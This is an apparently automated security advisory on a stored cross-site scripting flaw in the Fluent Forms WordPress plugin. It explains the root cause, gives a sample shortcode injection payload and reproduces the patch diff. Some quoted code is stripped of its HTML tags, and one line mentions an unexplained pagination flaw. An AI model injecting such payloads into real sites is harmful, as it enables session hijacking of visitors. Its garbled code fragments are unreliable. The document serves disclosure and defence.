Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 12, 2026

CVE-2026-6828: Fluent Forms <= 6.2.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'permission_message' Shortcode Attribute (fluentform)

CVE ID CVE-2026-6828
Plugin fluentform
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 6.2.1
Patched Version 6.2.2
Disclosed May 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-6828:

This vulnerability is a Stored Cross-Site Scripting (XSS) flaw affecting the Fluent Forms plugin for WordPress, versions up to and including 6.2.1. It allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts via the ‘permission_message’ shortcode attribute. The vulnerability is rated with a CVSS score of 6.4 (Medium severity) and is classified under CWE-79.

The root cause lies in the `Component.php` file, specifically within the `renderForm` method around lines 510 and 565. The plugin uses a shortcode attribute `permission_message` to display a message when a user lacks the required permissions to view a form. In the vulnerable code, the `permission_message` value is directly interpolated into an HTML string without any sanitization. The affected code path is `fluentform/app/Modules/Component/Component.php` lines 510-513 and 565-567. The function returns `”

id}’ class=’ff_form_not_render’>{$atts[‘permission_message’]}

“`. This output is not escaped, so an attacker can inject arbitrary HTML and JavaScript.

An attacker with at least Contributor-level access can exploit this by crafting a form and using the shortcode `[fluentform id=”FORM_ID” permission=”invalid_cap” permission_message=”alert(‘XSS’)”]`. When the shortcode is rendered, the `permission_message` attribute is output directly into the HTML. If a user with lower permissions visits the page, the script executes in their browser. The attack vector is via WordPress admin area (adding a page/post with the shortcode) or through the Fluent Forms form builder interface. The attacker does not need to trigger the form submission; the XSS fires on page load.

The patch introduces a new helper method `getNotRenderableHtml` in `Component.php` (lines 808-815). This method uses `wp_kses_post()` to sanitize the message before output. It also uses `esc_attr()` on the form ID. Before the patch, the message was inserted directly. After the patch, the message passes through `wp_kses_post()`, which strips dangerous HTML tags like “ and allows only safe tags (e.g., ``, ``, ``). The vulnerable code previously returned `”

id}’ class=’ff_form_not_render’>{$atts[‘permission_message’]}

“`. The patched version calls `$this->getNotRenderableHtml($form->id, $atts[‘permission_message’])`, which returns `”

” . wp_kses_post($message) . “

“`.

Successful exploitation allows an attacker to inject arbitrary JavaScript that executes in the context of any user visiting a page containing the affected shortcode. This can lead to session hijacking, cookie theft, redirection to malicious sites, defacement, or phishing. Since the vulnerability is stored, the injected script persists in the page content and affects all future visitors. The impact is mitigated by the requirement of Contributor-level access, but the attack surface is broad as any page containing the vulnerable shortcode becomes a vector.

The pagination vulnerability is in the same scope but unrelated; all other changes are hardening.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/fluentform/app/Helpers/Helper.php
+++ b/fluentform/app/Helpers/Helper.php
@@ -1027,10 +1027,19 @@
                 if (ArrayHelper::isTrue($rawField, 'attributes.multiple')) {
                     $fieldType = 'multi_select';
                 }
-                $options = array_column(
-                    ArrayHelper::get($rawField, 'settings.advanced_options', []),
-                    'value'
-                );
+                $formattedOptions = ArrayHelper::get($rawField, 'settings.advanced_options', []);
+                if (!$formattedOptions) {
+                    $formattedOptions = [];
+                    foreach (ArrayHelper::get($rawField, 'options', []) as $value => $label) {
+                        $formattedOptions[] = [
+                            'label' => $label,
+                            'value' => $value,
+                        ];
+                    }
+                    // @todo : Update all reference in form templates
+                }
+
+                $options = array_column($formattedOptions, 'value');

                 // Add field-specific __ff_other__ to options if "Other" option is enabled
                 if (in_array($fieldType, ['input_checkbox', 'input_radio']) &&
--- a/fluentform/app/Http/Policies/GlobalIntegrationPolicy.php
+++ b/fluentform/app/Http/Policies/GlobalIntegrationPolicy.php
@@ -0,0 +1,47 @@
+<?php
+
+namespace FluentFormAppHttpPolicies;
+
+use FluentFormAppModulesAclAcl;
+use FluentFormFrameworkFoundationPolicy;
+use FluentFormFrameworkHttpRequestRequest;
+
+class GlobalIntegrationPolicy extends Policy
+{
+    public function verifyRequest(Request $request)
+    {
+        return $this->canManageGlobalIntegrations();
+    }
+
+    public function index()
+    {
+        return $this->canManageGlobalIntegrations();
+    }
+
+    public function updateIntegration()
+    {
+        return $this->canManageGlobalIntegrations();
+    }
+
+    public function updateModuleStatus()
+    {
+        return $this->canManageGlobalIntegrations();
+    }
+
+    private function canManageGlobalIntegrations()
+    {
+        if (
+            current_user_can('manage_options') ||
+            current_user_can('fluentform_full_access') ||
+            current_user_can('fluentform_settings_manager')
+        ) {
+            return true;
+        }
+
+        $roleCapability = Acl::getCurrentUserCapability();
+
+        // Legacy role-level Fluent Forms access stores the WP role key here.
+        // Granular Fluent Forms permissions must not imply settings access.
+        return $roleCapability && !in_array($roleCapability, Acl::getPermissionSet(), true);
+    }
+}
--- a/fluentform/app/Http/Routes/api.php
+++ b/fluentform/app/Http/Routes/api.php
@@ -93,15 +93,15 @@
 /*
 * Global Integrations
 */
-$router->prefix('integrations')->withPolicy('FormPolicy')->group(function ($router) {
-    $router->get('/', 'GlobalIntegrationController@index');
-    $router->post('/', 'GlobalIntegrationController@updateIntegration');
-    $router->post('update-status', 'GlobalIntegrationController@updateModuleStatus');
+$router->prefix('integrations')->group(function ($router) {
+    $router->get('/', 'GlobalIntegrationController@index')->withPolicy('GlobalIntegrationPolicy');
+    $router->post('/', 'GlobalIntegrationController@updateIntegration')->withPolicy('GlobalIntegrationPolicy');
+    $router->post('update-status', 'GlobalIntegrationController@updateModuleStatus')->withPolicy('GlobalIntegrationPolicy');

     /*
     * Form Integrations
     */
-    $router->prefix('{form_id}')->group(function ($router) {
+    $router->prefix('{form_id}')->withPolicy('FormPolicy')->group(function ($router) {
         $router->get('/form-integrations', 'FormIntegrationController@index');
         $router->get('/', 'FormIntegrationController@find');
         $router->post('/', 'FormIntegrationController@update');
--- a/fluentform/app/Models/FormMeta.php
+++ b/fluentform/app/Models/FormMeta.php
@@ -42,7 +42,7 @@

         $formMeta[] = [
             'meta_key' => 'template_name',
-            'value'    => Arr::get($attributes, 'predefined'),
+            'value'    => Arr::get($attributes, 'predefined', Arr::get($attributes, 'type', '')),
         ];

         if (isset($predefinedForm['notifications'])) {
@@ -84,7 +84,13 @@
     public static function store(Form $form, $formMeta)
     {
         foreach ($formMeta as $meta) {
-            $meta['value'] = trim(preg_replace('/s+/', ' ', $meta['value']));
+            $metaValue = $meta['value'];
+
+            if (is_array($metaValue) || is_object($metaValue)) {
+                $metaValue = wp_json_encode($metaValue);
+            }
+
+            $meta['value'] = trim(preg_replace('/s+/', ' ', (string) $metaValue));

             $form->formMeta()->create([
                 'meta_key' => $meta['meta_key'],
--- a/fluentform/app/Models/Traits/PredefinedForms.php
+++ b/fluentform/app/Models/Traits/PredefinedForms.php
@@ -18,7 +18,19 @@
             );
         }

-        $predefinedForm = json_decode($predefinedForm['json'], true)[0];
+        $predefinedJson = Arr::get($predefinedForm, 'json');
+
+        if ($predefinedJson) {
+            $decodedForm = json_decode($predefinedJson, true);
+            $predefinedForm = isset($decodedForm[0]) ? $decodedForm[0] : [];
+        }
+
+        if (!$predefinedForm || !is_array($predefinedForm)) {
+            throw new Exception(
+                // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Exception message, not output
+                __("The selected template is invalid.", 'fluentform')
+            );
+        }

         if (isset($predefinedForm['form_fields'])) {
             $predefinedForm['form_fields'] = json_encode($predefinedForm['form_fields']);
--- a/fluentform/app/Modules/Acl/Acl.php
+++ b/fluentform/app/Modules/Acl/Acl.php
@@ -159,38 +159,51 @@
         if ($formId && !FormManagerService::hasFormPermission($formId)) {
             return false;
         }
-        $userCapability = static::getCurrentUserCapability();

-        if ($userCapability) {
+        // Only explicit full-access users should bypass individual permission checks.
+        if (static::hasExplicitFullAccess()) {
             return true;
-        } else {
-            if (current_user_can('fluentform_full_access')) {
-                return true;
-            }
+        }

-            $permissions = (array) $permissions;
+        $grantedRole = static::getCurrentUserCapability();

-            foreach ($permissions as $permission) {
-                $allowed = current_user_can($permission);
+        foreach ((array) $permissions as $permission) {
+            $allowed = current_user_can($permission);

-                if ($allowed) {
-                    $allowed = apply_filters_deprecated(
-                        'fluentform_verify_user_permission_' . $permission,
-                        [
-                            $allowed,
-                            $formId
-                        ],
-                        FLUENTFORM_FRAMEWORK_UPGRADE,
-                        'fluentform/verify_user_permission_' . $permission,
-                        'Use fluentform/verify_user_permission_' . $permission . ' instead of fluentform_verify_user_permission_' . $permission
-                    );
+            // A granted role can satisfy scoped permissions, but never full access.
+            if (!$allowed && $grantedRole && 'fluentform_full_access' !== $permission) {
+                $allowed = true;
+            }

-                    return apply_filters('fluentform/verify_user_permission_' . $permission, $allowed, $formId);
-                }
+            if (!$allowed) {
+                continue;
             }

-            return false;
+            return static::filterPermissionCheck($permission, $allowed, $formId);
         }
+
+        return false;
+    }
+
+    private static function hasExplicitFullAccess()
+    {
+        return current_user_can('fluentform_full_access') || current_user_can('manage_options');
+    }
+
+    private static function filterPermissionCheck($permission, $allowed, $formId)
+    {
+        $allowed = apply_filters_deprecated(
+            'fluentform_verify_user_permission_' . $permission,
+            [
+                $allowed,
+                $formId
+            ],
+            FLUENTFORM_FRAMEWORK_UPGRADE,
+            'fluentform/verify_user_permission_' . $permission,
+            'Use fluentform/verify_user_permission_' . $permission . ' instead of fluentform_verify_user_permission_' . $permission
+        );
+
+        return apply_filters('fluentform/verify_user_permission_' . $permission, $allowed, $formId);
     }

     public static function hasAnyFormPermission($form_id = false)
--- a/fluentform/app/Modules/Component/Component.php
+++ b/fluentform/app/Modules/Component/Component.php
@@ -338,7 +338,7 @@
             ];
             $disabled['phone'] = [
                 'disabled'    => true,
-                'title'       => 'Phone Field',
+                'title'       => __('Phone Field', 'fluentform'),
                 'description' => __('Phone Field is not available with the free version. Please upgrade to pro to get all the advanced features.', 'fluentform'),
                 'image'       => fluentformMix('img/pro-fields/phone-field.png'),
                 'video'       => '',
@@ -510,7 +510,7 @@

         if (!empty($atts['permission'])) {
             if (!current_user_can($atts['permission'])) {
-                return "<div id='ff_form_{$form->id}' class='ff_form_not_render'>{$atts['permission_message']}</div>";
+                return $this->getNotRenderableHtml($form->id, $atts['permission_message']);
             }
         }

@@ -565,7 +565,7 @@
         $isRenderable = $this->app->applyFilters('fluentform/is_form_renderable', $isRenderable, $form);

         if (is_array($isRenderable) && !$isRenderable['status']) {
-            return "<div id='ff_form_{$form->id}' class='ff_form_not_render'>{$isRenderable['message']}</div>";
+            return $this->getNotRenderableHtml($form->id, $isRenderable['message']);
         }

         $instanceCssClass = Helper::getFormInstaceClass($form->id);
@@ -805,6 +805,13 @@
         return $output . $otherScripts;
     }

+    protected function getNotRenderableHtml($formId, $message)
+    {
+        return "<div id='ff_form_" . esc_attr($formId) . "' class='ff_form_not_render'>"
+            . wp_kses_post($message)
+            . "</div>";
+    }
+
     /**
      * Process the output HTML to generate the default values.
      *
--- a/fluentform/app/Modules/Entries/EntryViewRenderer.php
+++ b/fluentform/app/Modules/Entries/EntryViewRenderer.php
@@ -36,7 +36,7 @@
         }

         $form = wpFluent()->table('fluentform_forms')->find($form_id);
-        $submissionShortcodes = FluentFormAppServicesFormBuilderEditorShortCode::getSubmissionShortcodes();
+        $submissionShortcodes = FluentFormAppServicesFormBuilderEditorShortCode::getSubmissionShortcodes($form);
         $submissionShortcodes['shortcodes']['{submission.ip}'] = __('Submitter IP', 'fluentform');
         if ($form->has_payment) {
             $submissionShortcodes['shortcodes']['{payment.payment_status}'] = __('Payment Status','fluentform');
--- a/fluentform/app/Modules/Payments/Classes/PaymentEntries.php
+++ b/fluentform/app/Modules/Payments/Classes/PaymentEntries.php
@@ -248,7 +248,31 @@

     public function getFilters()
     {
-        $transactionTypes = Transaction::select('transaction_type')
+        $request = wpFluentForm()->request;
+        $attributes = $request->all();
+
+        $sanitizeMap = [
+            'form_id' => function ($value) {
+                return Acl::normalizeFormId($value);
+            },
+        ];
+        $attributes = fluentform_backend_sanitizer($attributes, $sanitizeMap);
+
+        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Acl::verify() below
+        Acl::verify('fluentform_view_payments', ArrayHelper::get($attributes, 'form_id'));
+        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Nonce verified by Acl::verify() above
+        $selectedFormId = ArrayHelper::get($attributes, 'form_id');
+        $allowFormIds = apply_filters('fluentform/current_user_allowed_forms', false);
+
+        $transactionTypesQuery = Transaction::select('transaction_type');
+        if ($selectedFormId) {
+            $transactionTypesQuery = $transactionTypesQuery->where('form_id', $selectedFormId);
+        }
+        if (false !== $allowFormIds && is_array($allowFormIds)) {
+            $transactionTypesQuery = $transactionTypesQuery->whereIn('form_id', $allowFormIds ?: [0]);
+        }
+
+        $transactionTypes = $transactionTypesQuery
             ->groupBy('transaction_type')
             ->get();
         // Define transaction type labels
@@ -268,7 +292,15 @@
             ];
         }

-        $statuses = Transaction::select('status')
+        $statusesQuery = Transaction::select('status');
+        if ($selectedFormId) {
+            $statusesQuery = $statusesQuery->where('form_id', $selectedFormId);
+        }
+        if (false !== $allowFormIds && is_array($allowFormIds)) {
+            $statusesQuery = $statusesQuery->whereIn('form_id', $allowFormIds ?: [0]);
+        }
+
+        $statuses = $statusesQuery
             ->groupBy('status')
             ->get();
         $statusTypes = PaymentHelper::getPaymentStatuses();
@@ -276,11 +308,15 @@
         foreach ($statuses as $status) {
             $formattedStatuses[] = ArrayHelper::get($statusTypes, $status->status, $status->status);
         }
-        $allowFormIds = apply_filters('fluentform/current_user_allowed_forms', false);
-        $forms = Transaction::select('fluentform_transactions.form_id', 'fluentform_forms.title')
-            ->when(false !== $allowFormIds && is_array($allowFormIds), function ($q) use ($allowFormIds){
-                return $q->whereIn('fluentform_transactions.form_id', $allowFormIds ?: [0]);
-            })
+        $formsQuery = Transaction::select('fluentform_transactions.form_id', 'fluentform_forms.title');
+        if ($selectedFormId) {
+            $formsQuery = $formsQuery->where('fluentform_transactions.form_id', $selectedFormId);
+        }
+        if (false !== $allowFormIds && is_array($allowFormIds)) {
+            $formsQuery = $formsQuery->whereIn('fluentform_transactions.form_id', $allowFormIds ?: [0]);
+        }
+
+        $forms = $formsQuery
             ->groupBy('fluentform_transactions.form_id')
             ->orderBy('fluentform_transactions.form_id', 'DESC')
             ->join('fluentform_forms', 'fluentform_forms.id', '=', 'fluentform_transactions.form_id')
@@ -294,7 +330,15 @@
             ];
         }

-        $paymentMethods = Transaction::select('payment_method')
+        $paymentMethodsQuery = Transaction::select('payment_method');
+        if ($selectedFormId) {
+            $paymentMethodsQuery = $paymentMethodsQuery->where('form_id', $selectedFormId);
+        }
+        if (false !== $allowFormIds && is_array($allowFormIds)) {
+            $paymentMethodsQuery = $paymentMethodsQuery->whereIn('form_id', $allowFormIds ?: [0]);
+        }
+
+        $paymentMethods = $paymentMethodsQuery
             ->groupBy('payment_method')
             ->get();

--- a/fluentform/app/Modules/Payments/Components/Subscription.php
+++ b/fluentform/app/Modules/Payments/Components/Subscription.php
@@ -187,10 +187,12 @@
         }

         $inputAttributes = [
-            'type'  => 'hidden',
-            'name'  => $data['attributes']['name'],
-            'value' => '0',
-            'class' => 'ff_payment_item ff_subscription_item',
+            'type'              => 'hidden',
+            'name'              => $data['attributes']['name'],
+            'value'             => '0',
+            'class'             => 'ff_payment_item ff_subscription_item',
+            'data-name'         => $data['attributes']['name'],
+            'data-payment_item' => 'yes',
         ];

         $inputAttributes['id'] = $this->makeElementId($data, $form);
--- a/fluentform/app/Modules/Registerer/Menu.php
+++ b/fluentform/app/Modules/Registerer/Menu.php
@@ -1044,7 +1044,8 @@
 				    'net_promoter_score',
 				    'rangeslider',
 				    'custom_payment_component',
-                    'item_quantity_component'
+                    'item_quantity_component',
+                    'subscription_payment_component'
 			    ]
 		    ];
 	    }
--- a/fluentform/app/Services/Form/Updater.php
+++ b/fluentform/app/Services/Form/Updater.php
@@ -175,7 +175,49 @@

             if ('welcome_screen' == $element) {
                 if ($value = Arr::get($field, 'settings.button_ui.text')) {
-                    $field['settings']['button_ui']['text'] = sanitize_text_field($value);
+                    $field['settings']['button_ui']['text'] = fluentform_sanitize_html($value);
+                }
+            }
+
+            if ('form_step' == $element) {
+                foreach (['next_btn', 'prev_btn'] as $buttonKey) {
+                    $buttonSettings = Arr::get($field, 'settings.' . $buttonKey);
+                    if (!is_array($buttonSettings)) {
+                        continue;
+                    }
+
+                    if (isset($buttonSettings['type'])) {
+                        $field['settings'][$buttonKey]['type'] = sanitize_text_field($buttonSettings['type']);
+                    }
+
+                    if (isset($buttonSettings['text'])) {
+                        $field['settings'][$buttonKey]['text'] = fluentform_sanitize_html($buttonSettings['text']);
+                    }
+
+                    if (isset($buttonSettings['img_url'])) {
+                        $field['settings'][$buttonKey]['img_url'] = esc_url_raw($buttonSettings['img_url']);
+                    }
+
+                    if (isset($buttonSettings['img_alt'])) {
+                        $field['settings'][$buttonKey]['img_alt'] = sanitize_text_field($buttonSettings['img_alt']);
+                    }
+                }
+            }
+
+            if ('save_progress_button' == $element) {
+                $buttonUi = Arr::get($field, 'settings.button_ui');
+                if (is_array($buttonUi)) {
+                    if (isset($buttonUi['type'])) {
+                        $field['settings']['button_ui']['type'] = sanitize_text_field($buttonUi['type']);
+                    }
+
+                    if (isset($buttonUi['text'])) {
+                        $field['settings']['button_ui']['text'] = fluentform_sanitize_html($buttonUi['text']);
+                    }
+
+                    if (isset($buttonUi['img_url'])) {
+                        $field['settings']['button_ui']['img_url'] = esc_url_raw($buttonUi['img_url']);
+                    }
                 }
             }

@@ -258,7 +300,7 @@
             ],
             'button_ui'     => [
                 'type'    => 'sanitize_text_field',
-                'text'    => 'sanitize_text_field',
+                'text'    => 'fluentform_sanitize_html',
                 'img_url' => 'esc_url_raw',
             ],
         ];
@@ -294,7 +336,7 @@
         $stepsSanitizationMap = [
             'prev_btn' => [
                 'type'    => 'sanitize_text_field',
-                'text'    => 'sanitize_text_field',
+                'text'    => 'fluentform_sanitize_html',
                 'img_url' => 'esc_url_raw',
             ],
         ];
--- a/fluentform/app/Services/FormBuilder/DefaultElements.php
+++ b/fluentform/app/Services/FormBuilder/DefaultElements.php
@@ -195,7 +195,7 @@
                 ],
             ],
             'editor_options' => [
-                'title'      => 'Name Fields',
+                'title'      => __('Name Fields', 'fluentform'),
                 'element'    => 'name-fields',
                 'icon_class' => 'ff-edit-name',
                 'template'   => 'nameFields',
@@ -736,7 +736,7 @@
                         'UK' => 'United Kingdom',
                     ],
                     'editor_options' => [
-                        'title'      => 'Country List',
+                        'title'      => __('Country List', 'fluentform'),
                         'element'    => 'country-list',
                         'icon_class' => 'icon-text-width',
                         'template'   => 'selectCountry',
--- a/fluentform/app/Services/FormBuilder/EditorShortcodeParser.php
+++ b/fluentform/app/Services/FormBuilder/EditorShortcodeParser.php
@@ -111,7 +111,7 @@
             if (false !== strpos($handler, 'cookie.')) {
                 $scookieProperty = substr($handler, strlen('cookie.'));

-                return wpFluentForm('request')->cookie($scookieProperty);
+                return array_key_exists($scookieProperty, $_COOKIE) ? wp_unslash($_COOKIE[$scookieProperty]) : '';
             }

             if (false !== strpos($handler, 'dynamic.')) {
--- a/fluentform/app/Services/FormBuilder/Notifications/EmailNotificationActions.php
+++ b/fluentform/app/Services/FormBuilder/Notifications/EmailNotificationActions.php
@@ -130,13 +130,9 @@
                 $fileUrls = ArrayHelper::get($formData, $name);
                 if ($fileUrls && is_array($fileUrls)) {
                     foreach ($fileUrls as $url) {
-                        if (strpos($url, $uploadDir['baseurl']) === 0) {
-                            $relativePath = str_replace($uploadDir['baseurl'], '', $url);
-                            $filePath = wp_normalize_path($uploadDir['basedir'] . $relativePath);
-
-                            if (file_exists($filePath)) {
-                                $attachments[] = $filePath;
-                            }
+                        $filePath = $this->resolveUploadAttachmentPath($url, $uploadDir);
+                        if ($filePath) {
+                            $attachments[] = $filePath;
                         }
                     }
                 }
@@ -148,13 +144,9 @@
             $attachments = [];
             foreach ($mediaAttachments as $file) {
                 $fileUrl = ArrayHelper::get($file, 'url');
-                if ($fileUrl && strpos($fileUrl, $uploadDir['baseurl']) === 0) {
-                    $relativePath = str_replace($uploadDir['baseurl'], '', $fileUrl);
-                    $filePath = wp_normalize_path($uploadDir['basedir'] . $relativePath);
-
-                    if (file_exists($filePath)) {
-                        $attachments[] = $filePath;
-                    }
+                $filePath = $this->resolveUploadAttachmentPath($fileUrl, $uploadDir);
+                if ($filePath) {
+                    $attachments[] = $filePath;
                 }
             }
             $emailAttachments = array_merge($emailAttachments, $attachments);
@@ -185,6 +177,44 @@
         return $emailAttachments;
     }

+    private function resolveUploadAttachmentPath($fileUrl, $uploadDir)
+    {
+        if (!$fileUrl || empty($uploadDir['baseurl']) || empty($uploadDir['basedir'])) {
+            return null;
+        }
+
+        $normalizedUrl = strtok($fileUrl, '?#');
+        if (strpos($normalizedUrl, $uploadDir['baseurl']) !== 0) {
+            return null;
+        }
+
+        $relativePath = rawurldecode(str_replace($uploadDir['baseurl'], '', $normalizedUrl));
+        $relativePath = ltrim(wp_normalize_path($relativePath), '/');
+
+        if (!$relativePath || strpos($relativePath, '../') !== false) {
+            return null;
+        }
+
+        $uploadsBaseDir = realpath($uploadDir['basedir']);
+        if (!$uploadsBaseDir) {
+            return null;
+        }
+
+        $uploadsBaseDir = trailingslashit(wp_normalize_path($uploadsBaseDir));
+        $resolvedPath = realpath($uploadsBaseDir . $relativePath);
+
+        if (!$resolvedPath) {
+            return null;
+        }
+
+        $resolvedPath = wp_normalize_path($resolvedPath);
+        if (strpos($resolvedPath, $uploadsBaseDir) !== 0 || !is_file($resolvedPath)) {
+            return null;
+        }
+
+        return $resolvedPath;
+    }
+
     public function getFormData($submissionId)
     {
         $submission = wpFluent()->table('fluentform_submissions')
--- a/fluentform/app/Services/FormBuilder/ShortCodeParser.php
+++ b/fluentform/app/Services/FormBuilder/ShortCodeParser.php
@@ -142,7 +142,7 @@
                 $value = static::getSubmissionData($submissionProperty);
             } elseif (false !== strpos($matches[1], 'cookie.')) {
                 $scookieProperty = substr($matches[1], strlen('cookie.'));
-                $value = wpFluentForm('request')->cookie($scookieProperty);
+                $value = array_key_exists($scookieProperty, $_COOKIE) ? wp_unslash($_COOKIE[$scookieProperty]) : '';
             } elseif (false !== strpos($matches[1], 'payment.')) {
                 $property = substr($matches[1], strlen('payment.'));
                 $deprecatedValue = apply_filters_deprecated(
--- a/fluentform/app/Services/Settings/Validator/Confirmations.php
+++ b/fluentform/app/Services/Settings/Validator/Confirmations.php
@@ -38,7 +38,7 @@
     public static function conditionalValidations(Validator $validator)
     {
         $validator->sometimes('customUrl', 'required', function ($input) {
-            return 'customUrl' === $input['redirectTo'];
+            return isset($input['redirectTo']) && 'customUrl' === $input['redirectTo'];
         });

         return $validator;
--- a/fluentform/app/Services/Transfer/TransferService.php
+++ b/fluentform/app/Services/Transfer/TransferService.php
@@ -187,6 +187,8 @@
         $submissions = FormDataParser::parseFormEntries($submissions, $form, $formInputs);
         $parsedShortCodes = [];
         $exportData = [];
+        $selectedShortcodes = self::getSelectedExportShortcodes($args, $form);
+        $legacyShortcodeHeaders = self::getLegacyExportShortcodeHeaders();

         // Preload notes for all submissions in a single query to avoid N+1
         $notesMap = [];
@@ -229,21 +231,29 @@
                 $temp[] = Helper::sanitizeForCSV($content);
             }

-            if($selectedShortcodes = Arr::get($args,'shortcodes_to_export')){
-                $selectedShortcodes = fluentFormSanitizer($selectedShortcodes);
-                $parsedShortCodes = ShortCodeParser::parse(
-                    $selectedShortcodes,
-                    $submission->id,
-                    $submission->response,
-                    $form,
-                    false,
-                    true
-                );
-                if(!empty($parsedShortCodes)){
-                    foreach ($parsedShortCodes as $code){
-                        $temp[] = Arr::get($code,'value');
-                    }
+            if (!empty($selectedShortcodes)) {
+                $regularShortcodes = self::getRegularExportShortcodes($selectedShortcodes, $legacyShortcodeHeaders);
+
+                if (!empty($regularShortcodes)) {
+                    $parsedShortCodes = ShortCodeParser::parse(
+                        $regularShortcodes,
+                        $submission->id,
+                        $submission->response,
+                        $form,
+                        false,
+                        true
+                    );
                 }
+
+                $temp = array_merge(
+                    $temp,
+                    self::getSelectedShortcodeExportValues(
+                        $selectedShortcodes,
+                        $parsedShortCodes,
+                        $legacyShortcodeHeaders,
+                        $submission
+                    )
+                );
             }
             if ($withNotes) {
                 $noteValues = isset($notesMap[$submission->id]) ? $notesMap[$submission->id] : [];
@@ -252,17 +262,6 @@
                 }
             }

-            if (!$tableName) {
-                if ($form->has_payment) {
-                    $temp[] = round(($submission->payment_total ?? 0) / 100, 1);
-                    $temp[] = $submission->payment_status ?? '';
-                    $temp[] = $submission->currency ?? '';
-                }
-                $temp[] = $submission->id ?? '';
-                $temp[] = $submission->status ?? '';
-                $temp[] = $submission->created_at ?? '';
-            }
-
             $temp = apply_filters('fluentform/export_entry_metadata', $temp, $submission, $form, $args);

             $exportData[] = $temp;
@@ -270,27 +269,16 @@

         $extraLabels = [];

-        if(!empty($parsedShortCodes)){
-            foreach ($parsedShortCodes as $code){
-                $extraLabels[] = Arr::get($code,'label');
-            }
-        }
+        $extraLabels = self::getSelectedShortcodeExportLabels(
+            $selectedShortcodes,
+            $parsedShortCodes,
+            $legacyShortcodeHeaders
+        );

         $inputLabels = array_merge($inputLabels, $extraLabels);
         if($withNotes){
             $inputLabels[] = __('Notes','fluentform');
         }
-
-        if (!$tableName) {
-            if ($form->has_payment) {
-                $inputLabels[] = 'payment_total';
-                $inputLabels[] = 'payment_status';
-                $inputLabels[] = 'currency';
-            }
-            $inputLabels[] = 'entry_id';
-            $inputLabels[] = 'entry_status';
-            $inputLabels[] = 'created_at';
-        }
         $inputLabels = apply_filters('fluentform/export_entry_metadata_labels', $inputLabels, $form, $args);

         $data = array_merge([array_values($inputLabels)], $exportData);
@@ -311,6 +299,145 @@
         );
     }

+    private static function getSelectedExportShortcodes($args, $form)
+    {
+        $selectedShortcodes = fluentFormSanitizer(Arr::get($args, 'shortcodes_to_export', []));
+
+        if (!Arr::has($args, 'shortcodes_to_export_defined') && empty($selectedShortcodes)) {
+            return self::getDefaultExportShortcodes($form);
+        }
+
+        return $selectedShortcodes;
+    }
+
+    private static function getDefaultExportShortcodes($form)
+    {
+        $defaults = [
+            [
+                'label' => __('Submission ID', 'fluentform'),
+                'value' => '{submission.id}',
+            ],
+            [
+                'label' => __('Submission Create Date', 'fluentform'),
+                'value' => '{submission.created_at}',
+            ],
+            [
+                'label' => __('Submission Status', 'fluentform'),
+                'value' => '{submission.status}',
+            ],
+        ];
+
+        if ($form->has_payment) {
+            $defaults[] = [
+                'label' => __('Payment Status', 'fluentform'),
+                'value' => '{payment.payment_status}',
+            ];
+            $defaults[] = [
+                'label' => __('Payment Total', 'fluentform'),
+                'value' => '{payment.payment_total}',
+            ];
+            $defaults[] = [
+                'label' => __('Currency', 'fluentform'),
+                'value' => '{submission.currency}',
+            ];
+        }
+
+        return $defaults;
+    }
+
+    private static function getLegacyExportShortcodeHeaders()
+    {
+        return [
+            '{submission.id}'             => 'entry_id',
+            '{submission.status}'         => 'entry_status',
+            '{submission.created_at}'     => 'created_at',
+            '{payment.payment_status}'    => 'payment_status',
+            '{submission.payment_status}' => 'payment_status',
+            '{payment.payment_total}'     => 'payment_total',
+            '{submission.payment_total}'  => 'payment_total',
+            '{submission.currency}'       => 'currency',
+        ];
+    }
+
+    private static function getRegularExportShortcodes($selectedShortcodes, $legacyShortcodeHeaders)
+    {
+        $regularShortcodes = [];
+
+        foreach ($selectedShortcodes as $index => $shortcode) {
+            if (!isset($legacyShortcodeHeaders[Arr::get($shortcode, 'value')])) {
+                $regularShortcodes[$index] = $shortcode;
+            }
+        }
+
+        return $regularShortcodes;
+    }
+
+    private static function getSelectedShortcodeExportValues($selectedShortcodes, $parsedShortCodes, $legacyShortcodeHeaders, $submission)
+    {
+        $values = [];
+
+        foreach ($selectedShortcodes as $index => $shortcode) {
+            $shortcodeValue = Arr::get($shortcode, 'value');
+
+            if (!isset($legacyShortcodeHeaders[$shortcodeValue])) {
+                $values[] = Arr::get($parsedShortCodes, $index . '.value');
+                continue;
+            }
+
+            $values[] = self::getLegacyExportValue($legacyShortcodeHeaders[$shortcodeValue], $submission);
+        }
+
+        return $values;
+    }
+
+    private static function getSelectedShortcodeExportLabels($selectedShortcodes, $parsedShortCodes, $legacyShortcodeHeaders)
+    {
+        $labels = [];
+
+        foreach ($selectedShortcodes as $index => $shortcode) {
+            $shortcodeValue = Arr::get($shortcode, 'value');
+
+            if (isset($legacyShortcodeHeaders[$shortcodeValue])) {
+                $labels[] = $legacyShortcodeHeaders[$shortcodeValue];
+                continue;
+            }
+
+            $labels[] = Arr::get($parsedShortCodes, $index . '.label');
+        }
+
+        return $labels;
+    }
+
+    private static function getLegacyExportValue($header, $submission)
+    {
+        $legacyValueResolvers = [
+            'entry_id' => function ($submission) {
+                return $submission->id ?? '';
+            },
+            'entry_status' => function ($submission) {
+                return $submission->status ?? '';
+            },
+            'created_at' => function ($submission) {
+                return $submission->created_at ?? '';
+            },
+            'payment_status' => function ($submission) {
+                return $submission->payment_status ?? '';
+            },
+            'payment_total' => function ($submission) {
+                return round(($submission->payment_total ?? 0) / 100, 1);
+            },
+            'currency' => function ($submission) {
+                return $submission->currency ?? '';
+            },
+        ];
+
+        if (!isset($legacyValueResolvers[$header])) {
+            return '';
+        }
+
+        return $legacyValueResolvers[$header]($submission);
+    }
+
     private static function exportAsJSON($form, $args)
     {
         $formInputs = FormFieldsParser::getEntryInputs($form, ['admin_label', 'raw']);
--- a/fluentform/app/Services/WPAsync/FluentFormAsyncRequest.php
+++ b/fluentform/app/Services/WPAsync/FluentFormAsyncRequest.php
@@ -66,7 +66,7 @@
             'timeout' => 0.1,
             'blocking' => false,
             'body' => $data,
-            'cookies' => wpFluentForm('request')->cookie(),
